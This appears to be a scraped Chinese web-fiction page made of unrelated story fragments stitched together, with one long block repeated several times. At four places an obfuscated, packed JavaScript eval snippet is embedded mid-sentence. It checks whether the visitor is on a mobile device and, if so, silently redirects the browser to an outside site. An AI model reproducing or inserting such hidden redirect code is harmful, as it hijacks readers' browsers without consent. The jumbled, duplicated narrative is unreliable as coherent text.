刘妃一听,唇边勾起一抹笑容来,赞赏地对六皇子道:“不错,还能想到这一层,放心吧,母妃今生的希望全在你身上,又怎么会让你去送死呢?皇上是绝对会把将西山大营的令牌给你的。 第一卷 第197章 人员大调动! 正在我为这个神秘的黑榜第一的强悍实力感到震撼的时候,邮轮的二楼突然传来一阵骚动,原本在二楼的游客纷纷惊慌失措的跑到了三楼。 不过,秦川也不是驾驶海神号下来闲逛的,而是以监督的身份督促大家建造水下城市。亚特兰蒂斯之城的建造比他想象中更麻烦,主要就是因为在水下行动不便。 而且当初自己对天发誓,绝对不会莫名其妙对他发火更不能打他。 一边的黑蜘蛛弗兰克一看见自己的师兄起身了,也急忙跟着走了过去。 如此,似乎招魂一路也行不通,之前对七婆的怀疑也是想多了而已。鹿鸣垂下眼角,心里空落落的。 “看准烟万重,结果下手却变成苏幕里,我们大意了。公良殊语气十分惨痛,可听的人却是憋笑到不行。 “都给我上,谁特么要是把张松这个混蛋打趴下,老子奖励他一百万,废他一只手,再奖励五十万,一条腿再加一百万!王天龙大叫道。 敲击音就会与树干其他地方不一样。然而,让人失望的是,我和洪胖子费了老大功夫,把白骨树王的树干敲了一个遍,却依旧没有发现异常。 当曲调起的时候,鹿鸣的心仿佛被牵引了一般,这她从来不曾接触过的旋律,陡然的就出现在她的脑海中,陌生逐渐褪去,熟悉感越发分明。只是,又略不同。 当然,下面还有东方姐姐西门弟弟以及六品强者和北城主的签名。 这名血衣卫沉声应道,身体猛的化作一道黑影,消失在陈铮眼前。 戴奥尼亚联军士兵迅速将这些木梯搭在三米高的石墙上,趁着城上的敌军被标枪压制的有利时机,动作敏捷的登上了城头。与此同时,联军士兵们还用圆木撞开了城门,冲过了内墙门洞,正面的厮杀在城上和城下逐渐展开。 观众一进入成始源的直播间,就看到了直播间的屏幕里面,并不是他们想的那样,是成始源,而是郑秀晶。 两门武学花光了陈铮的所有积蓄,从藏经殿出来后,他已经一贫如洗。算了算自己的身价,陈铮悲哀的发现,自己倒欠宗派一万功勋。 “我怎么不知道有这样一篇演讲?!吕西亚斯听完,感到很是惊讶。 “那个家伙在什么地方?我现在就去将他除掉。萧南冷冷说道。 “水仙,你就在家中吧。凌渡宇在 回到别墅后对叶水仙道,“今天我们去西方大陆,还不知道那边怎么样,会不会有人在伏击我们。”凌渡宇对叶水仙道。 “极品后天至宝!”赵公明接过去一脸的惊喜,“这大大出乎我的意料了。”当然了,这玩意在凌渡宇的手中,和在赵公明手中的威力,那就是天差地远了。 她的外表容貌,看起来又年轻了几岁,肌体莹白红润,犹如宝玉一般精致。 没过多久,港口区民众还及时送来了一些平时修缮房屋用的木梯和建造船只用的圆木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061618|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供联军士兵攻城使用。 “你……你要做什么?你别乱来,我真的会和你同归于尽的。”看着秦皓那发寒的眸子,司徒韵直觉得浑身一颤,心里****的。 自己手下这两位在内容运营上的大将,互相之间关系并不太和睦,这一点他作为公司的领导,肯定心知肚明。 明明心里爱的很,却又怕被人惦记,所以会在别人面前说对象的缺点,而感情,最直白的一句话就是:一个巴掌拍不响。 温阳第一次来酒吧,也从来没在这么热闹的地方跳过舞,醉意上来,胆子也大了不少,颇有豁出去的架势。 鲜红的血液滴答滴答的落在地上,在场的众人不管是魔道还是正道,眼睛此刻都是等着这只黑暗大手不放,内心充满了恐惧。 “谁告诉你的?是不是我妈?她怎么就这么多事!”严旭的脾气一下子变爆了,他握了握紧拳头,一脸愤怒。 “很明显他们在海上等我们很久了。”秦皓语气低沉,黑夜里他的眸子闪出一道精光,暗道来的正好。 而拉克丝,却又是一个觉醒了魔力的人,这之间就会有非常大的矛盾。 “你的师尊是人,秦皓的命就不是命了吗?”包婧怡的眼泪终于忍不住掉下来,四个时辰过去了,他们甚至去了一趟关押她父王母后的地方,然而秦皓还是没有回到她的身边。 龙一帝自然也注意到青莲剑的存在,剑眉微皱,心里突然有种不好的预感。 第一卷 第198章 升任云州副将! 这些人身后,又是一拨人冲了上去,然后,又是全部被弹射而开。 也不知是泉下有灵,还是巧合,就在花庄贤将此一段野史绝唱念叨出口的刹那,棺材四角的火盆中,那火焰竟是陡然被一股阴冷之气,席卷而起,火焰直冒三尺之高,旋即在火盆之中盘旋了片刻,才缓缓落了下来。 于大勇笑了笑,说:今天,我们是上电业局办事,二哥说,这几个大供应商对我们不错,而且就在附近,顺便走访慰问,也是为了今后更好的合作。 更何况,此时的他对于马尚龙能够打败**,半分钱的可能性都没有考虑。 所以,被慕容齐威胁的时候,他是很想反抗的,可是看着那么多人屈服,他知道自己只有先保全自己,才能另想办法。 唐氏公馆,位于渝都的富人区,后靠俊秀的青峰山,前有巨大而又美丽的人工湖,四周鲜花簇拥,假山耸立,堪称世外桃源般的存在。 缓缓向他走来。方彩玲俏脸微微酡红,大眼睛有些羞涩的看着他。 宅梧和广元见她异动,立刻双双上前赶至木华黎身侧,然后在对方的戛然而止中跟着刹车,保持着战备姿态。 尽管没有了奥尔德,但是皇城之中本应该还有很多高手的,此时面对这些家伙的气息,却是丝毫不能动弹。 钟离玉华在手爪已经抓到迟华咽喉的同时被迟华一头重重的撞在了脸上,满脸是血的倒飞了回去。 “团座,英国人做菜还不错,就是这鱼籽儿没我们中国做的好吃,忒腥,我用牛肉外加这酸不拉几的酒都没压住那腥味儿。吃饱了喝足了的陈运发瞅准爵士离席的一个机会,悄悄对刘浪耳语道。 “不急,说不定不用过多久,这封印就会消失! 苗家庄甚至是周围的集,十里八乡的,去保州城太远了,而富庶苗家庄,就成为了集市的天然场所,基本上5日一集,10日一市,这也是苗家庄固定收入来源。 无数鲁昂城的居民们被召集起来参加这场狂欢,数支吟游诗人所组成的联合表演团为他们倾情演绎各自谱写的凯旋诗歌,天空中甚至还飘洒这威廉精心准备的花瓣雨。 朴艺珍一惊,莫名其妙的,怎么会头疼?难道是他能力的副作用? 幻海再懊恼也无用,杀生大阵困住的是一个分身,就算杀了,也只 是让叶浩轩本就分离的灵力消散罢了。 三秒钟,城内的日伪军完全失去抵抗能力,五秒钟,基本基本上结束战斗。 战后,我独立团组织人手收敛战士遗体,独独无法找全他们七人的,他们的血肉早已和他们战斗过的阵地,和我中华大地融为一体,再难分彼此。 在这种几乎他们二位自己都没意识到的心理状况下,两名日军少将很干脆的将重炮大队和第八炮兵联队给放弃了。 鬼子逼近要塞以后,被几十挺**拦截,只能趴到雪窝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061619|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里隐蔽,为躲避**,又不得不扒开雪窝隐蔽,这样,僵持了一会儿,鬼子被冻昏冻**。 他做梦都没有想到,自己随意就招惹到了一个不可招惹的可怕存在。 众人随即朝着她的目光看去,不由的大吃一惊,心中纷纷震撼不已。 “什么?雷猿!你说得不会是成年的雷猿吧,如果真是那样情况就有些不妙了。”白衣丰神青年丁伟闻言忍不住惊呼道。 不过一连串她的反应后,表情也淡然下来,身子也不动了,就这么半睁着双眼盯着桌面,然后她……没有回答。 陈杭吧……只看见苏冰的手轻轻地触上了自己的额头……面颊有些红红的,而且似乎还很关切着自己,像是有些担心。 转头看着已拦截在北荒之城城门口的江寂尘,贺云烽感到大吃一惊。 所以,索娜莉一旦求救,江寂尘可以第一时,知道她所在的位置。 “是么,那我还有几分期待呢!”易天云看着他冷笑一声,抬手伸到脸上,轻轻一抹开,百变面具被卸下了,跟着露出了那原本的面孔。 这里是学院,面积还是挺大的,就算是一座传统学校,刚入学时估计也得适应一个月才能完全摸清建筑的布局,更不要说是这种古堡风格的巨型学院了,不可能在刚入学没几天就能熟悉到这种程度的吧。 这就是斗气引的威力,谁能想到在这关键的时刻,紧那罗迦居然会不顾一切的使用出斗气引? 第一卷 第199章 逆鳞之怒! 走出节度府大门,凌川便看到苍蝇满脸焦急地迎了上来。 “大人,云岚县出事了!”苍蝇焦急说道。 凌川心中顿时一惊,一股不安的情绪涌上心头:“怎么回事?” 眼见全国各地叛乱连连,百姓们没有安生之地可以耕种。粮食越来越少,钱财大多无用。只有布帛因为可以穿着保暖,所以价值不变。此时收降了三万多贼人,没有粮食,安置也是一个大难题。 听到了外面的声音,卢青鸢稍微怔了一下,开始接着韩清韵魂归所释放出来的光芒偷偷看着外面的情况,隐隐约约地看到了两个自己熟悉的身影。 “二十一万,这家伙,可把我的家产给弄光了,如果这次封印大会不成功,我以后都不知怎么生活了。”蒋干苦着脸道。 对于吴用的未经批准,擅自出国事件,上级自然也很有些恼怒,但鉴于他是为了追踪逃犯,情况紧急,来不及上报,只在内部通报批评了事。 塞高不仅树立了王旗,更是打出了标语,有的标语写着:“强娶罗慕路斯,用钱压死罗姆人!”把嫁妆的字眼贴的到处都是,生怕新特洛伊战舰的人看不懂。 哈利夫也并不在中军营帐,而是在校联场上和士兵一起共同训练。有士兵来报告说科里兰将军来了,急着要见自己。哈利夫已经看到了科里兰,他脱去了盔甲,缓解周身的热气,汗水顺着脸颊一点点滴落下来。 贼人克意的分路而逃,只是为了方便逃跑与日后官府的追索。如此就说明这股贼人的势力不会很强,也不敢与官府强行做对。这么一来,是不是向来强势的黑山贼就很难说了。也许只是其他的野贼,在无意之中干了一票大的。 莫比斯当即带领队伍,让被捆绑起来的辛西娅带路,将众人带出了森林。 成王紧张的在边上看着,此刻他真的是认识了,苏鸾他们确实是在尽心尽力的救人。 历朝历代,哪一个最终掌握权力的人不是手握重兵的人。所以杨明所属势力,对于朝中许多大臣对她的诋毁,不理不睬。暗中却加大力量,让自己势力中的一些将官,悄悄的担任个军中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061620|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的要职。 许糖十分意外,她踮起脚朝里面看去,这里根本不像有人居住的样子。 青色的苍鸾,优雅的仙鹤,红色的玄鸟,率着各自的部属扑天盖地。 所以,双方主将都不愿发动主动攻击,正是这些士兵心中希望的,同时也是大涪许多官员和百姓想要的。 原身也不是新人了,毕竟他也写了一千五百万字了,虽然都扑街了,但是也有好几个编辑的账号。 “姐夫,我求你了。”孙可情绪很复杂,她看不惯家人的下作,所以将事情告诉叶凡了,她认为这是正义的。 许糖却是有些不满的看着他,她明明在跟他说正事,他到底有没有认真的听自己说话? 就是就是,现在大家都好了,都不像从前了,以后有个什么事,一定要说出来,也好大家一起帮忙。 “怎么?你一个69级的牧师,还怕我这个60级的机械师不成?”天南地北拉皮条淡淡说道,声音故意开大,四周的人也听了进去。一个个带着笑意,两个牧师话被堵了回去。 第一卷 第200章 黑夜杀机! “大人,走吧!”一名身着校尉铠甲的魁梧男子提醒道。 不得不说除开身份的影响,朱元章是要比老黄更加软骨头的存在,不过正是因为当着保安队长,所以就算难堪了一些,只要朱元章舍得下脸面,总归要比老黄转圜的余地更大。 他开始也并不信,但用神识查看半日,发现这家伙身体里却是没有半点灵力和法力,才不得不信。金蝉子即便是转世,他的灵力和法力也只会被禁锢而已,绝不会消失。 据陈凡所观察,来这里的人包括了陈凡之前所认识的大部分人,比如江南的李家早就已经到场了。 对于夜乾的话,李一生宛如未闻,而是径直来到守灵人身前坐下。 可是,让得夜忌辰心头震动的是,那道白衣好像看透了他的剑招一般。 不多时,在**的精神笼罩范围之内,便发现了处于黄沙掩埋中,让他期待无比的核裂变反应堆所在的核电站建筑。 破天峰是秦岭山脉中的一峰,也幸得科技的发展进步,悬浮车几乎无视了地形直接翻山越岭轻松惬意,让**能够舒适的享受沿途的大好河山。 拉伽什的特使的思路让其他人也立刻茅塞大开,他们赶紧也争先恐后的像陈漠表示一定会认真的考虑他的建议。 木辰听了,哈哈大笑起来,接着突然抄起桌上的水果刀,后退一步就朝唐总的脑袋扔了过去。 王昊将手中的AKM调成了全自动模式,这种贴脸的战斗,还是全自动模式比较好。 我看到畅哥的笑容,不知道为什么,心里就有了底气,我转身,把门上的铁丝给解开。这时,突然门被撞开了,我还在门后呢,这一下把我给撞倒地上了,老三赶紧过来把我扶起来。 “把这些全包起来。”顾林枫指着架上所有卫生巾豪爽道,他实在是不想再听营业员介绍下去了。 “袁飞,你真不是东西,居然在一旁调拨离间,亏我还在拍卖会的时候把千年虫草让给了你,你现在居然帮着陈硕那个软货欺负我,简直就是忘恩负义。”眼看要挨打,苟德胜也会死把心一横,向着那青年指责道。 而且在这个念头的指引下,他发现了更多可以印证他想法的线索。 今天传说中的青城主人就要来京都了,自从青城出名了开始,就从来没有人见过苏锦了。 完,苏锦带着苏氏就准备离去,既然已经解决完了,知道太多的事情后反而不好离开,洗干净苏氏身上的冤屈,对她们来就已经足够了。 唐歌沉默了,手指又开始规律的敲击着桌子,像是一个自然地曲子,柳如是看着他,心里总是没来由的乱跳。 “我真的以为,见到满耳,见到渴念,见到你和梓焰的那天,我也会见到我娘的。这么多年我没有放弃等待,就是因为我知道我娘一定会来救我的。”雪琴哽咽道。 “我这样真的可以?”李春花觉得自己是很美,可是总是觉得非常的不真实。这种姿态的她从来都没有出现过,真的很不适应。 “大人,走吧!”一名身着校尉铠甲的魁梧男子提醒道。 不得不说除开身份的影响,朱元章是要比老黄更加软骨头的存在,不过正是因为当着保安队长,所以就算难堪了一些,只要朱元章舍得下脸面,总归要比老黄转圜的余地更大。 他开始也并不信,但用神识查看半日,发现这家伙身体里却是没有半点灵力和法力,才不得不信。金蝉子即便是转世,他的灵力和法力也只会被禁锢而已,绝不会消失。 据陈凡所观察,来这里的人包括了陈凡之前所认识的大部分人,比如江南的李家早就已经到场了。 对于夜乾的话,李一生宛如未闻,而是径直来到守灵人身前坐下。 可是,让得夜忌辰心头震动的是,那道白衣好像看透了他的剑招一般。 不多时,在**的精神笼罩范围之内,便发现了处于黄沙掩埋中,让他期待无比的核裂变反应堆所在的核电站建筑。 破天峰是秦岭山脉中的一峰,也幸得科技的发展进步,悬浮车几乎无视了地形直接翻山越岭轻松惬意,让**能够舒适的享受沿途的大好河山。 拉伽什的特使的思路让其他人也立刻茅塞大开,他们赶紧也争先恐后的像陈漠表示一定会认真的考虑他的建议。 木辰听了,哈哈大笑起来,接着突然抄起桌上的水果刀,后退一步就朝唐总的脑袋扔了过去。 王昊将手中的AKM调成了全自动模式,这种贴脸的战斗,还是全自动模式比较好。 我看到畅哥的笑容,不知道为什么,心里就有了底气,我转身,把门上的铁丝给解开。这时,突然门被撞开了,我还在门后呢,这一下把我给撞倒地上了,老三赶紧过来把我扶起来。 “把这些全包起来。”顾林枫指着架上所有卫生巾豪爽道,他实在是不想再听营业员介绍下去了。 “袁飞,你真不是东西,居然在一旁调拨离间,亏我还在拍卖会的时候把千年虫草让给了你,你现在居然帮着陈硕那个软货欺负我,简直就是忘恩负义。”眼看要挨打,苟德胜也会死把心一横,向着那青年指责道。 而且在这个念头的指引下,他发现了更多可以印证他想法的线索。 今天传说中的青城主人就要来京都了,自从青城出名了开始,就从来没有人见过苏锦了。 完,苏锦带着苏氏就准备离去,既然已经解决完了,知道太多的事情后反而不好离开,洗干净苏氏身上的冤屈,对她们来就已经足够了。 唐歌沉默了,手指又开始规律的敲击着桌子,像是一个自然地曲子,柳如是看着他,心里总是没来由的乱跳。 “我真的以为,见到满耳,见到渴念,见到你和梓焰的那天,我也会见到我娘的。这么多年我没有放弃等待,就是因为我知道我娘一定会来救我的。”雪琴哽咽道。 “我这样真的可以?”李春花觉得自己是很美,可是总是觉得非常的不真实。这种姿态的她从来都没有出现过,真的很不适应。 “大人,走吧!”一名身着校尉铠甲的魁梧男子提醒道。 不得不说除开身份的影响,朱元章是要比老黄更加软骨头的存在,不过正是因为当着保安队长,所以就算难堪了一些,只要朱元章舍得下脸面,总归要比老黄转圜的余地更大。 他开始也并不信,但用神识查看半日,发现这家伙身体里却是没有半点灵力和法力,才不得不信。金蝉子即便是转世,他的灵力和法力也只会被禁锢而已,绝不会消失。 据陈凡所观察,来这里的人包括了陈凡之前所认识的大部分人,比如江南的李家早就已经到场了。 对于夜乾的话,李一生宛如未闻,而是径直来到守灵人身前坐下。 可是,让得夜忌辰心头震动的是,那道白衣好像看透了他的剑招一般。 不多时,在**的精神笼罩范围之内,便发现了处于黄沙掩埋中,让他期待无比的核裂变反应堆所在的核电站建筑。 破天峰是秦岭山脉中的一峰,也幸得科技的发展进步,悬浮车几乎无视了地形直接翻山越岭轻松惬意,让**能够舒适的享受沿途的大好河山。 拉伽什的特使的思路让其他人也立刻茅塞大开,他们赶紧也争先恐后的像陈漠表示一定会认真的考虑他的建议。 木辰听了,哈哈大笑起来,接着突然抄起桌上的水果刀,后退一步就朝唐总的脑袋扔了过去。 王昊将手中的AKM调成了全自动模式,这种贴脸的战斗,还是全自动模式比较好。 我看到畅哥的笑容,不知道为什么,心里就有了底气,我转身,把门上的铁丝给解开。这时,突然门被撞开了,我还在门后呢,这一下把我给撞倒地上了,老三赶紧过来把我扶起来。 “把这些全包起来。”顾林枫指着架上所有卫生巾豪爽道,他实在是不想再听营业员介绍下去了。 “袁飞,你真不是东西,居然在一旁调拨离间,亏我还在拍卖会的时候把千年虫草让给了你,你现在居然帮着陈硕那个软货欺负我,简直就是忘恩负义。”眼看要挨打,苟德胜也会死把心一横,向着那青年指责道。 而且在这个念头的指引下,他发现了更多可以印证他想法的线索。 今天传说中的青城主人就要来京都了,自从青城出名了开始,就从来没有人见过苏锦了。 完,苏锦带着苏氏就准备离去,既然已经解决完了,知道太多的事情后反而不好离开,洗干净苏氏身上的冤屈,对她们来就已经足够了。 唐歌沉默了,手指又开始规律的敲击着桌子,像是一个自然地曲子,柳如是看着他,心里总是没来由的乱跳。 “我真的以为,见到满耳,见到渴念,见到你和梓焰的那天,我也会见到我娘的。这么多年我没有放弃等待,就是因为我知道我娘一定会来救我的。”雪琴哽咽道。 “我这样真的可以?”李春花觉得自己是很美,可是总是觉得非常的不真实。这种姿态的她从来都没有出现过,真的很不适应。 “大人,走吧!”一名身着校尉铠甲的魁梧男子提醒道。 不得不说除开身份的影响,朱元章是要比老黄更加软骨头的存在,不过正是因为当着保安队长,所以就算难堪了一些,只要朱元章舍得下脸面,总归要比老黄转圜的余地更大。 他开始也并不信,但用神识查看半日,发现这家伙身体里却是没有半点灵力和法力,才不得不信。金蝉子即便是转世,他的灵力和法力也只会被禁锢而已,绝不会消失。 据陈凡所观察,来这里的人包括了陈凡之前所认识的大部分人,比如江南的李家早就已经到场了。 对于夜乾的话,李一生宛如未闻,而是径直来到守灵人身前坐下。 可是,让得夜忌辰心头震动的是,那道白衣好像看透了他的剑招一般。 不多时,在**的精神笼罩范围之内,便发现了处于黄沙掩埋中,让他期待无比的核裂变反应堆所在的核电站建筑。 破天峰是秦岭山脉中的一峰,也幸得科技的发展进步,悬浮车几乎无视了地形直接翻山越岭轻松惬意,让**能够舒适的享受沿途的大好河山。 拉伽什的特使的思路让其他人也立刻茅塞大开,他们赶紧也争先恐后的像陈漠表示一定会认真的考虑他的建议。 木辰听了,哈哈大笑起来,接着突然抄起桌上的水果刀,后退一步就朝唐总的脑袋扔了过去。 王昊将手中的AKM调成了全自动模式,这种贴脸的战斗,还是全自动模式比较好。 我看到畅哥的笑容,不知道为什么,心里就有了底气,我转身,把门上的铁丝给解开。这时,突然门被撞开了,我还在门后呢,这一下把我给撞倒地上了,老三赶紧过来把我扶起来。 “把这些全包起来。”顾林枫指着架上所有卫生巾豪爽道,他实在是不想再听营业员介绍下去了。 “袁飞,你真不是东西,居然在一旁调拨离间,亏我还在拍卖会的时候把千年虫草让给了你,你现在居然帮着陈硕那个软货欺负我,简直就是忘恩负义。”眼看要挨打,苟德胜也会死把心一横,向着那青年指责道。 而且在这个念头的指引下,他发现了更多可以印证他想法的线索。 今天传说中的青城主人就要来京都了,自从青城出名了开始,就从来没有人见过苏锦了。 完,苏锦带着苏氏就准备离去,既然已经解决完了,知道太多的事情后反而不好离开,洗干净苏氏身上的冤屈,对她们来就已经足够了。 唐歌沉默了,手指又开始规律的敲击着桌子,像是一个自然地曲子,柳如是看着他,心里总是没来由的乱跳。 “我真的以为,见到满耳,见到渴念,见到你和梓焰的那天,我也会见到我娘的。这么多年我没有放弃等待,就是因为我知道我娘一定会来救我的。”雪琴哽咽道。 “我这样真的可以?”李春花觉得自己是很美,可是总是觉得非常的不真实。这种姿态的她从来都没有出现过,真的很不适应。 “大人,走吧!”一名身着校尉铠甲的魁梧男子提醒道。 不得不说除开身份的影响,朱元章是要比老黄更加软骨头的存在,不过正是因为当着保安队长,所以就算难堪了一些,只要朱元章舍得下脸面,总归要比老黄转圜的余地更大。 他开始也并不信,但用神识查看半日,发现这家伙身体里却是没有半点灵力和法力,才不得不信。金蝉子即便是转世,他的灵力和法力也只会被禁锢而已,绝不会消失。 据陈凡所观察,来这里的人包括了陈凡之前所认识的大部分人,比如江南的李家早就已经到场了。 对于夜乾的话,李一生宛如未闻,而是径直来到守灵人身前坐下。 可是,让得夜忌辰心头震动的是,那道白衣好像看透了他的剑招一般。 不多时,在**的精神笼罩范围之内,便发现了处于黄沙掩埋中,让他期待无比的核裂变反应堆所在的核电站建筑。 破天峰是秦岭山脉中的一峰,也幸得科技的发展进步,悬浮车几乎无视了地形直接翻山越岭轻松惬意,让**能够舒适的享受沿途的大好河山。 拉伽什的特使的思路让其他人也立刻茅塞大开,他们赶紧也争先恐后的像陈漠表示一定会认真的考虑他的建议。 木辰听了,哈哈大笑起来,接着突然抄起桌上的水果刀,后退一步就朝唐总的脑袋扔了过去。 王昊将手中的AKM调成了全自动模式,这种贴脸的战斗,还是全自动模式比较好。 我看到畅哥的笑容,不知道为什么,心里就有了底气,我转身,把门上的铁丝给解开。这时,突然门被撞开了,我还在门后呢,这一下把我给撞倒地上了,老三赶紧过来把我扶起来。 “把这些全包起来。”顾林枫指着架上所有卫生巾豪爽道,他实在是不想再听营业员介绍下去了。 “袁飞,你真不是东西,居然在一旁调拨离间,亏我还在拍卖会的时候把千年虫草让给了你,你现在居然帮着陈硕那个软货欺负我,简直就是忘恩负义。”眼看要挨打,苟德胜也会死把心一横,向着那青年指责道。 而且在这个念头的指引下,他发现了更多可以印证他想法的线索。 今天传说中的青城主人就要来京都了,自从青城出名了开始,就从来没有人见过苏锦了。 完,苏锦带着苏氏就准备离去,既然已经解决完了,知道太多的事情后反而不好离开,洗干净苏氏身上的冤屈,对她们来就已经足够了。 唐歌沉默了,手指又开始规律的敲击着桌子,像是一个自然地曲子,柳如是看着他,心里总是没来由的乱跳。 “我真的以为,见到满耳,见到渴念,见到你和梓焰的那天,我也会见到我娘的。这么多年我没有放弃等待,就是因为我知道我娘一定会来救我的。”雪琴哽咽道。 “我这样真的可以?”李春花觉得自己是很美,可是总是觉得非常的不真实。这种姿态的她从来都没有出现过,真的很不适应。 “大人,走吧!”一名身着校尉铠甲的魁梧男子提醒道。 不得不说除开身份的影响,朱元章是要比老黄更加软骨头的存在,不过正是因为当着保安队长,所以就算难堪了一些,只要朱元章舍得下脸面,总归要比老黄转圜的余地更大。 他开始也并不信,但用神识查看半日,发现这家伙身体里却是没有半点灵力和法力,才不得不信。金蝉子即便是转世,他的灵力和法力也只会被禁锢而已,绝不会消失。 据陈凡所观察,来这里的人包括了陈凡之前所认识的大部分人,比如江南的李家早就已经到场了。 对于夜乾的话,李一生宛如未闻,而是径直来到守灵人身前坐下。 可是,让得夜忌辰心头震动的是,那道白衣好像看透了他的剑招一般。 不多时,在**的精神笼罩范围之内,便发现了处于黄沙掩埋中,让他期待无比的核裂变反应堆所在的核电站建筑。 破天峰是秦岭山脉中的一峰,也幸得科技的发展进步,悬浮车几乎无视了地形直接翻山越岭轻松惬意,让**能够舒适的享受沿途的大好河山。 拉伽什的特使的思路让其他人也立刻茅塞大开,他们赶紧也争先恐后的像陈漠表示一定会认真的考虑他的建议。 木辰听了,哈哈大笑起来,接着突然抄起桌上的水果刀,后退一步就朝唐总的脑袋扔了过去。 王昊将手中的AKM调成了全自动模式,这种贴脸的战斗,还是全自动模式比较好。 我看到畅哥的笑容,不知道为什么,心里就有了底气,我转身,把门上的铁丝给解开。这时,突然门被撞开了,我还在门后呢,这一下把我给撞倒地上了,老三赶紧过来把我扶起来。 “把这些全包起来。”顾林枫指着架上所有卫生巾豪爽道,他实在是不想再听营业员介绍下去了。 “袁飞,你真不是东西,居然在一旁调拨离间,亏我还在拍卖会的时候把千年虫草让给了你,你现在居然帮着陈硕那个软货欺负我,简直就是忘恩负义。”眼看要挨打,苟德胜也会死把心一横,向着那青年指责道。 而且在这个念头的指引下,他发现了更多可以印证他想法的线索。 今天传说中的青城主人就要来京都了,自从青城出名了开始,就从来没有人见过苏锦了。 完,苏锦带着苏氏就准备离去,既然已经解决完了,知道太多的事情后反而不好离开,洗干净苏氏身上的冤屈,对她们来就已经足够了。 唐歌沉默了,手指又开始规律的敲击着桌子,像是一个自然地曲子,柳如是看着他,心里总是没来由的乱跳。 “我真的以为,见到满耳,见到渴念,见到你和梓焰的那天,我也会见到我娘的。这么多年我没有放弃等待,就是因为我知道我娘一定会来救我的。”雪琴哽咽道。 “我这样真的可以?”李春花觉得自己是很美,可是总是觉得非常的不真实。这种姿态的她从来都没有出现过,真的很不适应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061621|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大人,走吧!”一名身着校尉铠甲的魁梧男子提醒道。 不得不说除开身份的影响,朱元章是要比老黄更加软骨头的存在,不过正是因为当着保安队长,所以就算难堪了一些,只要朱元章舍得下脸面,总归要比老黄转圜的余地更大。 他开始也并不信,但用神识查看半日,发现这家伙身体里却是没有半点灵力和法力,才不得不信。金蝉子即便是转世,他的灵力和法力也只会被禁锢而已,绝不会消失。 据陈凡所观察,来这里的人包括了陈凡之前所认识的大部分人,比如江南的李家早就已经到场了。 对于夜乾的话,李一生宛如未闻,而是径直来到守灵人身前坐下。 可是,让得夜忌辰心头震动的是,那道白衣好像看透了他的剑招一般。 不多时,在**的精神笼罩范围之内,便发现了处于黄沙掩埋中,让他期待无比的核裂变反应堆所在的核电站建筑。 破天峰是秦岭山脉中的一峰,也幸得科技的发展进步,悬浮车几乎无视了地形直接翻山越岭轻松惬意,让**能够舒适的享受沿途的大好河山。 拉伽什的特使的思路让其他人也立刻茅塞大开,他们赶紧也争先恐后的像陈漠表示一定会认真的考虑他的建议。 木辰听了,哈哈大笑起来,接着突然抄起桌上的水果刀,后退一步就朝唐总的脑袋扔了过去。 王昊将手中的AKM调成了全自动模式,这种贴脸的战斗,还是全自动模式比较好。 我看到畅哥的笑容,不知道为什么,心里就有了底气,我转身,把门上的铁丝给解开。这时,突然门被撞开了,我还在门后呢,这一下把我给撞倒地上了,老三赶紧过来把我扶起来。 “把这些全包起来。”顾林枫指着架上所有卫生巾豪爽道,他实在是不想再听营业员介绍下去了。 “袁飞,你真不是东西,居然在一旁调拨离间,亏我还在拍卖会的时候把千年虫草让给了你,你现在居然帮着陈硕那个软货欺负我,简直就是忘恩负义。”眼看要挨打,苟德胜也会死把心一横,向着那青年指责道。 而且在这个念头的指引下,他发现了更多可以印证他想法的线索。 今天传说中的青城主人就要来京都了,自从青城出名了开始,就从来没有人见过苏锦了。 完,苏锦带着苏氏就准备离去,既然已经解决完了,知道太多的事情后反而不好离开,洗干净苏氏身上的冤屈,对她们来就已经足够了。 唐歌沉默了,手指又开始规律的敲击着桌子,像是一个自然地曲子,柳如是看着他,心里总是没来由的乱跳。 “我真的以为,见到满耳,见到渴念,见到你和梓焰的那天,我也会见到我娘的。这么多年我没有放弃等待,就是因为我知道我娘一定会来救我的。”雪琴哽咽道。 